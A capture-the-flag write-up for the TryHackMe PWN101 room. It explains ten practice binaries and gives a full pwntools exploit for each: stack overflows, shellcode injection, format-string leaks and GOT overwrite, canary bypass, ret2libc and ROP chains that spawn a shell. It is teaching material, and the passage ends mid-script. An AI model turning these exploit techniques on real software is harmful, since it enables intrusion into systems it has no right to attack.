Binary Exploitation - PWN101 Write-up

Davide GuerriDavide Guerri
23 min read

This is the write-up for the PWN101 room on TryHackMe, created by Jopraveen.

You can find the room (Difficulty: Medium) will all the challenges here.

To develop the exploits in this document, I used Pwntools and Radare2. For the ROP (Return Oriented Programming) exploits, I used Ropper and, specifically, its great search function.

My profile on TryHackMe is here.


PWN101

Binary behaviour

root@c18329d2a566:~# ./pwn101.pwn101
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 101

Hello!, I am going to shopping.
My mom told me to buy some ingredients.
Ummm.. But I have low memory capacity, So I forgot most of them.
Anyway, she is preparing Briyani for lunch, Can you help me to buy those items :D

Type the required ingredients to make briyani:

Binary metadata

root@c18329d2a566:~# checksec ./pwn101.pwn101
[*] '/root/pwn101.pwn101'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

This binary is a PIE (Position Independent Executable), which means the address of its symbols will be determined when it's started and will be random. Its stack is not executable (NX is set).

The binary doesn’t use canary for the stack.

Code (disasm)

Image.png

The main() function accepts user input using the gets() function. This function doesn't check the length of the input, so it's a perfect candidate for a buffer overflows.

Exploit

With a buffer overflow, we overwrite the value in the second variable so that the program will open a shell for us.

#!/usr/bin/env python3
#
# Exploit: buffer overflow
# We overwrite the value in the second variable so that the program will open
# a shell for us

from pwn import *


context.update(arch="amd64", os="linux")

# Fill input string and overwrite the value in the next variable in the stack
payload = b"A" * (0x40 - 0x4 + 1)

process = process("./pwn101.pwn101")
# process = remote("xxx", 9001)

process.clean()
process.sendline(payload)

process.interactive()

PWN102

Binary behaviour

root@c18329d2a566:~# ./pwn102.pwn102
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 102

I need badf00d to fee1dead
Am I right? yeah
I'm feeling dead, coz you said I need bad food :(

Binary metadata

root@c18329d2a566:~# checksec ./pwn102.pwn102
[*] '/root/pwn102.pwn102'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Code (disasm)

Image.png

This time, user provided input is acquired using scanf(), which won't check the length of the string stored in var_70h.

We have again a great vector for our buffer overflow, that we can use to ”overwrite” the value of var_8h and var_4h with values that will force the program to spawn a shell for us.

Exploit

We need to modify the value of 2 variables to force the program to spawn a shell for us (left-hand side branch).

We leverage a buffer overflow, overwriting the next 2 32 bit variables with 0xc0de and 0xc0ff33.

#!/usr/bin/env python3
#
# Exploit: modify variable value
# We overwrite the value in the second variable so that the program will open
# a shell for us

from pwn import *


context.update(arch="amd64", os="linux")

# Fill input string and overwrite the value in the next int (i.e., 32 bits)
# variables in the stack
payload = b"A" * (0x70 - 0x8)
payload += p32(0xc0d3)
payload += p32(0xc0ff33)

process = process("./pwn102.pwn102")
# process = remote("xxx", 9002)

process.clean()
process.sendline(payload)

process.interactive()

PWN103

Binary behaviour

The program shows a text menu and allows you to pick one function.

Option 3 (General) is interesting as this feature accepts input and, as it turns out, it is vulnerable to buffer overflow.

root@c18329d2a566:~# ./pwn103.pwn103
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
⣿⣿⣿⡟⠁⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢹⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⢠⣴⣾⣵⣶⣶⣾⣿⣦⡄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢀⣾⣿⣿⢿⣿⣿⣿⣿⣿⣿⡄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⢸⣿⣿⣧⣀⣼⣿⣄⣠⣿⣿⣿⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠘⠻⢷⡯⠛⠛⠛⠛⢫⣿⠟⠛⠄⠄⢸⣿⣿⣿
⣿⣿⣿⡇⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣧⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢡⣀⠄⠄⢸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣆⣸⣿⣿⣿
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿

  [THM Discord Server]

➖➖➖➖➖➖➖➖➖➖➖
1) 📢 Announcements
2) 📜 Rules
3) 🗣  General
4) 🏠 rooms discussion
5) 🤖 Bot commands
➖➖➖➖➖➖➖➖➖➖➖
⌨️  Choose the channel: 3

🗣  General:

------[jopraveen]: Hello pwners 👋
------[jopraveen]: Hope you're doing well 😄
------[jopraveen]: You found the vuln, right? 🤔

------[pwner]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Try harder!!! 💪
Segmentation fault

Binary metadata

root@c18329d2a566:~# checksec ./pwn103.pwn103
[*] '/root/pwn103.pwn103'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The binary is not a PIE, this means that looking at the binary, we know the runtime address of its functions.

We also don’t have a canary on the stack, which allows us to smash it at will.

Code (disasm)

Image.png

The general() function seems interesting as it takes user input.

Image.png

Again, we have a scanf(), which performs no checks on input length. This is a good vector for a buffer overflow that can be used to overwrite the return address of the function, since the binary doesn't use canary to protect the stack.

The binary also contains a hidden function, admins_only(), which opens a shell

Image.png

Exploit

Return to win.

We inject the address of the hidden function, admins_only(), and we get it called by overwriting the return address from general(). We know the address of admins_only() because we are dealing with a non-PIE.

#!/usr/bin/env python3
#
# Exploit: return to win
# We smash the stack to overwrite the return address of general() so that
# admins_only() hidden function is executed. The admins_only() function
# will open a shell for us

from pwn import *


context.update(arch="amd64", os="linux")

# Getting hidden function address
binary = ELF("./pwn103.pwn103")
# We need +1 because of stack alignment, we skip the push opcode at the
# beginning of admins_only()
hf_address = p64(binary.symbols["admins_only"] + 1)
print(f"The hidden function is @ {hf_address}")

# Stack smashing (vars + caller function base pointer)
payload = b"A" * 0x20 + b"B" * 8
# Return address
payload += hf_address

process = process("./pwn103.pwn103")
# process = remote("xxx", 9003)

process.clean()
process.sendline("3")
process.clean()

process.sendline(payload)

process.interactive()

PWN104

Binary behaviour

root@c18329d2a566:~# ./pwn104.pwn104
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 104

I think I have some super powers 💪
especially executable powers 😎💥

Can we go for a fight? 😏💪
I'm waiting for you at 0x7fff574b3c70
lol

Binary metadata

root@c18329d2a566:~# checksec ./pwn104.pwn104
[*] '/root/pwn104.pwn104'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Has RWX segments is potentially interesting. Furthermore, canary is disabled and the binary is not a PIE.

Code (disasm)

The binary is also kind enough to provide the address of the buffer it uses to read input (which is still randomized each time the program is started).

Image.png

In this case, we have a read() getting input from the user. The problem this time is that there is a mismatch between the size of the buffer (0x50 -8 - 8 = 64 bytes) used and the max number of characters passed to read() (200 bytes).

Exploit

Return to shellcode. We smash the stack to inject a shellcode and return to that shellcode. This exploit requires an executable stack (i.e., NX is off as we learned above) which we have in this case as we can see, for instance, using Radare2.

Image.png

That address printed out by the program can be used to calculate the beginning of the shellcode we can inject.

#!/usr/bin/env python3
#
# Exploit: return to shellcode
# Smash the stack to inject a shellcode and return to that shellcode.
# This exploit requires an executable stack (i.e., NX is off)

from pwn import *
import re


context.update(arch="amd64", os="linux")

process = process("./pwn104.pwn104")
# process = remote("xxx", 9004)

# The executable is so kind to give us the address of buf
text = process.recvline_containsS("I'm waiting for you at", timeout=3)
addr_search = re.search(r'(0x[0-9a-f]+)$', text, re.IGNORECASE)
buf_address = int(addr_search.group(1), 16)
print("Buffer is @ 0x{:016x}".format(buf_address))

# Stack smashing (buffer + caller function's rbp)
payload = b"A" * 0x50 + b"B" * 8

# + 8 is because shellcode is right after ret_address in the stack
ret_address = buf_address + len(payload) + 8
payload += p64(ret_address) + asm(shellcraft.sh())

process.sendline(payload)

process.interactive()

PWN105

Binary behaviour

root@c18329d2a566:~# ./pwn105.pwn105
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 105


-------=[ BAD INTEGERS ]=-------
|-< Enter two numbers to add >-|

]>> -1
]>> 0

[o.O] Hmmm... that was a Good try!

Binary metadata

root@c18329d2a566:~# checksec ./pwn105.pwn105
[*] '/root/pwn105.pwn105'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

This binary looks quite well protected.

Code (disasm)

Image.png

The program takes 2 numbers, and returns the sum of them The logic seems to suggest that a shell will be spawn with the right “combination” of values.

Exploit

Integer overflow.

We just need to trick the program into believing that we entered two positive numbers, but their sum is negative.

To do so, we need to overflow the signed integer in var_ch adding, for instance, 2^32 -1 and 1.

#!/usr/bin/env python3
#
# Exploit: integer overflow
# Overflow an integer to make the executable print the flag

from pwn import *


context.update(arch="amd64", os="linux")

process = process("./pwn105.pwn105")
# process = remote("xxx", 9005)

process.clean()
process.sendline("2147483647")
process.clean()
process.sendline("1")

process.clean()
process.interactive()

PWN106

Binary behaviour

root@c18329d2a566:~# ./pwn106user.pwn106-user
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 107

🎉 THM Giveaway 🎉

Enter your THM username to participate in the giveaway: AAAAA%p

Thanks AAAAA0x7ffc1f08b340
root@c18329d2a566:~#

Binary metadata

[*] '/root/pwn106user.pwn106-user'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

This binary looks quite well protected.

Code (disasm)

Image.png

The input acquired from the user is used as the first parameter of the printf() function. This means that the binary is vulnerable to a format string attack.

There is also a redacted flag stored as a global variable:

[0x00001090]> izz | grep .text
19  0x0000113b 0x0000113b 4   5    .text     ascii   u+UH
20  0x0000126b 0x0000126b 9   10   .text     ascii   THM{XXX[H
21  0x00001275 0x00001275 9   10   .text     ascii   flag_redH
22  0x00001287 0x00001287 9   10   .text     ascii   acted]XXH
23  0x00001371 0x00001371 11  12   .text     ascii   \b[]A\A]A^A_
89  0x00003865 0x000000b0 5   6    .shstrtab ascii   .text

Of course, the remote service we need to exploit to get the flag has the non-redacted flag.

Exploit

Format string vulnerability.

The flag for this binary is stored in the binary itself. We can extract it using the format string vulnerability this program is vulnerable to.

To do so, we use the position parameter for a format string in the form of %<n>$p. This will print the nth pointer (p) from the string used as format string.

We use this to print 6 64bit numbers, which contain the flag.

#!/usr/bin/env python3
#
# Exploit: format string
# Inject a format string to for the program to dump the flag

from pwn import *
import re


context.update(arch="amd64", os="linux")

process = process("./pwn106user.pwn106-user")
# process = remote("xxx", 9006)

process.clean()
process.sendline("%6$p %7$p %8$p %9$p %10$p %11$p")
text = process.recvline_containsS("Thanks", timeout=3)

print(text)

flag_search = re.search(
    r"(0x[0-9a-f]+) (0x[0-9a-f]+) (0x[0-9a-f]+) (0x[0-9a-f]+) (0x[0-9a-f]+)"
    " (0x[0-9a-f]+)$", text, re.IGNORECASE)

groups = (
    int(flag_search.group(1), 16),
    int(flag_search.group(2), 16),
    int(flag_search.group(3), 16),
    int(flag_search.group(4), 16),
    int(flag_search.group(5), 16),
    int(flag_search.group(6), 16),
)

output = bytearray(b"")
for g in groups:
    for i in range(8):
        output.append(g >> (i * 8) & 0xff)

print(output)

PWN107

Binary behaviour

root@c18329d2a566:~# ./pwn107.pwn107
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 107

You are a good THM player 😎
But yesterday you lost your streak 🙁
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back

THM: What's your last streak? %p %p
Thanks, Happy hacking!!
Your current streak: 0x7fff663f68f0 (nil)


[Few days latter.... a notification pops up]

Hi pwner 👾, keep hacking👩‍💻 - We miss you!😢
:(
root@c18329d2a566:~#

Binary metadata

root@c18329d2a566:~# checksec ./pwn107.pwn107
[*] '/root/pwn107.pwn107'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

This binary is well protected. In particular, we have stack canary, which makes certain types of buffer overflows complicated if not impossible.

Code (disasm)

Image.png

The program accepts input from the user and uses that as a format string. This means we can leak (or even write) memory in the stack.

The program does a second read, and this time we have a vector for buffer overflow as read() is used with several bytes to read which is greater than the size of the buffer.

The binary also contains a hidden function, named get_streak() which spawn a shell:

[0x00000780]> afl
0x00000780    1 42           entry0
0x000007b0    4 50   -> 40   sym.deregister_tm_clones
0x000007f0    4 66   -> 57   sym.register_tm_clones
0x00000840    5 58   -> 51   sym.__do_global_dtors_aux
0x00000770    1 6            sym.imp.__cxa_finalize
0x00000880    1 10           entry.init0
0x00000b00    1 2            sym.__libc_csu_fini
0x00000b04    1 9            sym._fini
0x00000912    3 58           sym.banner
0x00000710    1 6            sym.imp.puts
0x00000720    1 6            sym.imp.__stack_chk_fail
0x00000a90    4 101          sym.__libc_csu_init
0x0000094c    3 70           sym.get_streak
0x00000730    1 6            sym.imp.system
0x00000992    3 243          main
0x0000088a    3 136          sym.setup
0x00000760    1 6            sym.imp.setvbuf
0x00000740    1 6            sym.imp.printf
0x00000750    1 6            sym.imp.read
0x000006e8    3 23           sym._init
0x00000000    3 97   -> 123  loc.imp._ITM_deregisterTMCloneTable

Image.png

We can combine the two vulnerabilities we found to exploit this binary and force it to spawn a shell.

Exploit

Buffer overflow with format string to bypass canary and call the hidden function.

To leverage the buffer overflow, we use a format string to capture the canary and the address of the function which called main(), which is entry0.

Then we re-inject the canary in the next buffer overflow. The buffer overflow will also overwrite the return address from main() with the address of get_streak(), which will open a shell for us.

Since the binary is a PIE, the runtime address of get_streak() is calculated thanks to the leaked address of entry0.

#!/usr/bin/env python3
#
# Exploit: format string + buffer overflow with canary enabled
# Inject a format string to capture the canary, reinject the canary in the
# following buffer overflow

from pwn import *
import re


context.update(arch="amd64", os="linux")

elf = ELF("./pwn107.pwn107")
# Getting hidden function offset. Note this elf is a PIE, so later we need
# to compute the runtime address of get_streak().
# We need + 1 because of stack alignment, we skip the push opcode at the
# beginning of get_streak()
hf_offset = elf.symbols["get_streak"] + 1
ef_offset = elf.entry
print(f"get_streak() offset is: {hex(hf_offset)}")
print(f"Entry point offset is: {hex(ef_offset)}")

process = process("./pwn107.pwn107")
# process = remote("xxx", 9007)

process.clean()

# Dump and collect the 11th and 13th word on the stack from buf, which are
# respectively the runtime address of the entry point and our canary
# note that the 11th word has the runtime address of the entry point because
# memory is not zeroed (TBC)
process.sendline(b"%11$p%13$p")
text = process.recvline_containsS("Your current streak:", timeout=3)
leaks_search = re.search(r" (0x[0-9a-f]+)(0x[0-9a-f]+)$", text, re.IGNORECASE)
rt_e0_address = int(leaks_search.group(1), 16)
canary = int(leaks_search.group(2), 16)
print(f"Canary is: 0x{canary:08x}")
print(f"Entry point runtime address is: {hex(rt_e0_address)}")

# Calculate the runtime address of get_streak() using the leaked runtime
# address of entry0()
rt_hf_address = rt_e0_address - ef_offset + hf_offset
print(f"Runtime get_streak() address is: {hex(rt_hf_address)}")

# Overflow the second buffer, reinjecting the canary to fool the canary check
payload = b"A" * 24 + p64(canary) + b"B" * 8 + p64(rt_hf_address)

process.clean()
process.sendline(payload)

process.interactive()

PWN108

Binary behaviour

root@c18329d2a566:~# ./pwn108.pwn108
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 108

      THM University 📚
👨‍🎓 Student login portal 👩‍🎓

=[Your name]: %p%p%p%p
=[Your Reg No]: %p%p%p

=[ STUDENT PROFILE ]=
Name         : %p%p%p%p
Register no  : 0x7ffe10ad6290(nil)(nil)
Institue     : THM
Branch       : B.E (Binary Exploitation)


                    =[ EXAM SCHEDULE ]=
 --------------------------------------------------------
|  Date     |           Exam               |    FN/AN    |
|--------------------------------------------------------
| 1/2/2022  |  PROGRAMMING IN ASSEMBLY     |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  DATA STRUCTURES             |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  RETURN ORIENTED PROGRAMMING |     AN      |
|--------------------------------------------------------
| 7/2/2022  |  SCRIPTING WITH PYTHON       |     FN      |
 --------------------------------------------------------
root@c18329d2a566:~#

Binary metadata

root@c18329d2a566:~# checksec ./pwn108.pwn108
[*] '/root/pwn108.pwn108'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Binary is not a PIE, but it does have canary on the stack.

Code (disasm)

Image.png

The input acquired via the second read() is directly fed to a printf(), which makes the program vulnerable to a format string attack.

The binary has a hidden function, named holidays(). This function will open a shell for us.

[0x00401090]> afl
0x00401090    1 42           entry0
0x004010d0    4 33   -> 31   sym.deregister_tm_clones
0x00401100    4 49           sym.register_tm_clones
0x00401140    3 33   -> 32   sym.__do_global_dtors_aux
0x00401170    1 6            entry.init0
0x00401450    1 1            sym.__libc_csu_fini
0x00401454    1 9            sym._fini
0x004011fe    3 61           sym.banner
0x00401030    1 6            sym.imp.puts
0x00401040    1 6            sym.imp.__stack_chk_fail
0x004013f0    4 93           sym.__libc_csu_init
0x004010c0    1 1            sym._dl_relocate_static_pie
0x004012a0    3 328          main
0x00401176    3 136          sym.setup
0x00401080    1 6            sym.imp.setvbuf
0x00401060    1 6            sym.imp.printf
0x00401070    1 6            sym.imp.read
0x0040123b    3 101          sym.holidays
0x00401050    1 6            sym.imp.system
0x00401000    3 23           sym._init

Image.png

Exploit

Using a format string, we overwrite the GOT (Global Offset Table) on a non-PIE binary.

We replace the address of puts() in the GOT with the address of the hidden function holidays().

  1. We inject in the first buffer the address of puts() in the GOT
  2. We use %<int>s to make printf() print bytes.
  3. With %6$lln we overwrite the address of puts() in the GOT with the address of holidays(). We know the latter because the binary is not a PIE.
    • %6$lln writes the number of bytes written so far for the format string in the variable pointed by the positional parameter. 6 is for using the address stored in the first buffer, which points to puts() in the GOT
#!/usr/bin/env python3
#
# Exploit: non-PIE bin, format string with arbitrary memory write
# Replace the address of puts() in the GOT with the address of the hidden
# function holidays().
# 1. We inject in the first buffer the address of puts() in the GOT
# 2. We use %<int>s to make puts() print <address of holidays()> bytes.
# 3. With %6$lln we overwrite the address of puts() in the GOT with
#    <address of holidays()>. 6 is for using the address stored in the first
#    buffer

from pwn import *


context.update(arch="amd64", os="linux")

binary = ELF("./pwn108.pwn108")
process = process("./pwn108.pwn108")
# process = remote("xxx", 9008)

process.clean()
print(f"GOT entry fot puts(): {hex(binary.got.puts)}")
process.sendline(p64(binary.got.puts))

process.clean()
print(f"Address of holidays(): {str(binary.symbols.holidays)}")

fmt_str = b"%" + str(binary.symbols.holidays).encode("utf-8") + b"s%6$lln"
print(f"Format string: " + fmt_str.decode("utf-8"))

process.sendline(fmt_str)
process.clean()

process.interactive()

PWN109

Binary behaviour

root@c18329d2a566:~# ./pwn109.pwn109
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 109

This time no 🗑️ 🤫 & 🐈🚩.📄 Go ahead 😏
mah
root@c18329d2a566:~# ./pwn109.pwn109
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 109

This time no 🗑️ 🤫 & 🐈🚩.📄 Go ahead 😏
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

Binary metadata

root@c18329d2a566:~# checksec ./pwn109.pwn109
[*] '/root/pwn109.pwn109'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

No canary and not a PIE. We should look for a buffer overflow.

Code (disasm)

Image.png

We clearly have a buffer overflow waiting for us (hint: gets()).

Exploit

This is a classic ret2libc, in 2 iterations using Return-Oriented Programming (ROP).

To understand what’s going on here, see for instance this doc on GOT, PLT (Procedure Linkage Table) and lazy binding.

In the first iteration, we force the program to print the address of gets() in the GOT, which is random as the system as ALSR (Address Space Layout Randomization) enabled:

root@c18329d2a566:~# cat /proc/sys/kernel/randomize_va_space
2

To do so, using ROP, we pass the address of gets() in the GOT to the code in then PLT calling puts().

gets() has been already called in the program, so the GOT contains its real address (i.e., the address in glibc).

Via ROP gadgets, we also inject the address of main(), to allow a second iteration. We know the address of main() because we are dealing with a non-PIE.

In the second iteration, we use the leaked address of gets() to calculate the address of system() in glibc. Finally, we call system() on “/bin/sh”.

When exploiting the remote service, a challenge with this exploit is to find the same version of glibc used on the target system. We know this program runs on Ubuntu 18.04 LTS, so we can try a handful of glibc versions, downloadable from the web.

#!/usr/bin/env python3
#
# Exploit: Buffer overflow w/ ret2libc on a non PIE.
# Force the program to print the address of gets() in libc (which is random).
# Use that to calculate the address of system() in libc. Call system with
# '/bin/sh'

from pwn import *

context.update(arch="amd64", os="linux")

elf = ELF("./pwn109.pwn109")
# This should be exactly the libc used on the target system. I donwloaded
# libc.so.6 via the shell I gained with previous exploits.
libc = ELF('./libc.6.so')

process = process("./pwn109.pwn109")
# process = remote("xxx", 9009)


padding = b'A' * 40
# Smash the stack
payload = padding
# Load gets() address in rdi stored in the GOT
payload += p64(next(elf.search(asm('pop rdi ; ret;'))))
payload += p64(elf.got.gets)
# gets() will return to puts() in PLT
payload += p64(elf.plt.puts)
# puts() will return to main(), in order to allow a second iteration
payload += p64(elf.symbols.main)

process.recvline_containsS("Go ahead", timeout=3)
print("Injecting malicious input (1)")
process.sendline(payload)
# Receive the leaked address of gets()
text = process.recvline()
gets_address = u64(text.strip().ljust(8, b'\0'))

log.info(f'gets() address: {hex(gets_address)}')
libc.address = gets_address - libc.symbols.gets
log.info(f'Libc base adress: {hex(libc.address)}')

# Smash the stack
payload = padding
# Load the address of '/bin/sh' in libc into rdi
payload += p64(next(elf.search(asm('pop rdi ; ret;'))))
payload += p64(next(libc.search(b'/bin/sh')))
# return to system() in libc - we need an additional ret because of MOVAPS
payload += p64(next(elf.search(asm('ret;'))))
payload += p64(libc.symbols.system)

process.recvline_containsS("Go ahead", timeout=3)
print("Injecting malicious input (2)")
process.sendline(payload)
process.clean()

process.interactive()

Note: One caveat with the exploit is that we need to add an extra ROP gadget with a ret to make sure the stack is 64bit aligned.

On most amd64 Linux distributions, glibc uses the SSE instruction set, which expects the stack to be aligned on a 16-byte boundary or a general-protection exception (#GP) will be generated. An example of such instruction is movaps, which is actually used somewhere in system().

PWN110

Binary behaviour

root@c18329d2a566:~# ./pwn110.pwn110
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 110

Hello pwner, I'm the last challenge 😼
Well done, Now try to pwn me without libc 😏
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

Binary metadata

root@c18329d2a566:~# checksec ./pwn110.pwn110
[*] '/root/pwn110.pwn110'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

This time we seem to have stack canary, and we are dealing with a non-PIE.

From the disassembly below, and the text printed by the binary, we also learn that we have a statically linked binary:

root@c18329d2a566:~# file pwn110.pwn110
pwn110.pwn110: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9765ee1bc5e845af55929a99730baf4dccbb1990, for GNU/Linux 3.2.0, not stripped

This means it doesn’t link to glibc (or other libraries) at runtime, but rather contains some glibc functions.

Code (disasm)

Image.png

Looking at the code, we realize that at least the main() function doesn't use stack canary.

This is good, as this function is vulnerable to buffer overflow, since it uses gets().

Exploit

The problem with this exploit is that we don’t have glibc, and we cannot find any readily available string with “bin/sh”.

We have at least 2 ways to exploit this binary.

Method 1: execve()

In this case, we force the program to call execve() passing /bin/sh to it.

#!/usr/bin/env python3
#
# Exploit: Buffer overflow ROP on non-PIE statically linked binary, 
# calling execve()
# The strategy is to use .data section as a buffer. Store there:
#   - '/bin/sh\x00', NULL terminated string
#   - address of .data section (i.e., beginning of '/bin/sh\x00')
#   - NULL (0x00 qword)
# Then force the program to call syscall for execve() and pass the parameters
# above as appropriate.

from pwn import *

context.update(arch="amd64", os="linux")

elf = ELF("./pwn110.pwn110")
process = process("./pwn110.pwn110")
# process = remote("xxx", 9010)


# We will use the .data section of the process as a buffer
data_section_addr = elf.get_section_by_name('.data').header.sh_addr

# Smash the stack
payload = b'A' * 40
# Load the address of the .data section in rdi
payload += p64(next(elf.search(asm('pop rdi; ret;'))))
payload += p64(data_section_addr)
# Load '/bin/sh\x00' (8 bytes) in rdx
payload += p64(next(elf.search(asm('pop rdx; ret;'))))
payload += b'/bin/sh\x00'
# Copy '/bin/sh\x00' (in rdi) to the address pointed by rdi
payload += p64(next(elf.search(asm('mov qword ptr [rdi], rdx; ret;'))))
# Load the address of .data section in rax, copy rax right after '/bin/sh\x00'
# (i.e., .data + 8)
payload += p64(next(elf.search(asm('mov rax, rdi ; ret;'))))
payload += p64(next(elf.search(asm('mov qword ptr [rdi + 8], rax; ret;'))))
# Clear rax. Load .data + 0x10 in rdx, write NULL (in rax) to that location
# This is the NULL pointer for envp[] (see below)
payload += p64(next(elf.search(asm('xor rax, rax; ret;'))))
payload += p64(next(elf.search(asm('pop rdx; ret;'))))
payload += p64(data_section_addr + 0x10)  # argv[1]
payload += p64(next(elf.search(asm('mov qword ptr [rdx], rax; ret;'))))
# Load .data + 0x08 in rsi. rsi now points where the address of .data is
# This will be our *argv[]
payload += p64(next(elf.search(asm('pop rsi; ret;'))))
payload += p64(data_section_addr + 0x08)  # argv[0]
payload += p64(next(elf.search(asm('pop rax; ret;'))))
# Call syscall with execve() on /bin/sh
# rax = 0x3b (59d sys_execve)
# rdi = const char filename      (address of .data section)
# rsi = const char const argv[]  (address of .data section)
# rdx = const char *const envp[] (NULL)
payload += p64(0x3b)         # sys_execve
payload += p64(next(elf.search(asm('syscall; ret;'))))


process.sendline(payload)
process.clean()

process.interactive()

Method 2: make the stack executable

As we learned above, the stack is not executable (NX). We can use ROP to call the mprotect() syscall to make it executable.

I developed 2 exploits for this.

Exploit 1

The first exploit is more readable, and somewhat cleaner, but uses 2 iterations.

In the first iteration, we leak the address of the stack (which is still random). Then, we use that address to call mprotect() with the right parameters. Finally, we “return” to the shellcode we inject in the second iteration of the buffer overflow.

One practical way we have to get the stack address is to use elf.symbols.__libc_stack_end. Since libc functions have been statically linked to the binary, this is in the same address space of the stack used in main(), and it's likely to be the same memory page.

Note that the address passed to mprotect() (i.e., mprotect_memory on the following code) has to be page aligned. Since on most systems the page size is 4k, we calculate it from elf.symbols.__libc_stack_end by setting to zero the last 3 nibbles (because 4096d == 1000b). We need to store this value in rdi.

Finally, mprotect() takes in input a bitmap describing the desired stack protection (in rdx). For our case, we need to use PROT_READ|PROT_EXEC|PROT_WRITE.

#!/usr/bin/env python3
#
# Exploit: Buffer overflow ROP on non-PIE statically-linked binary,
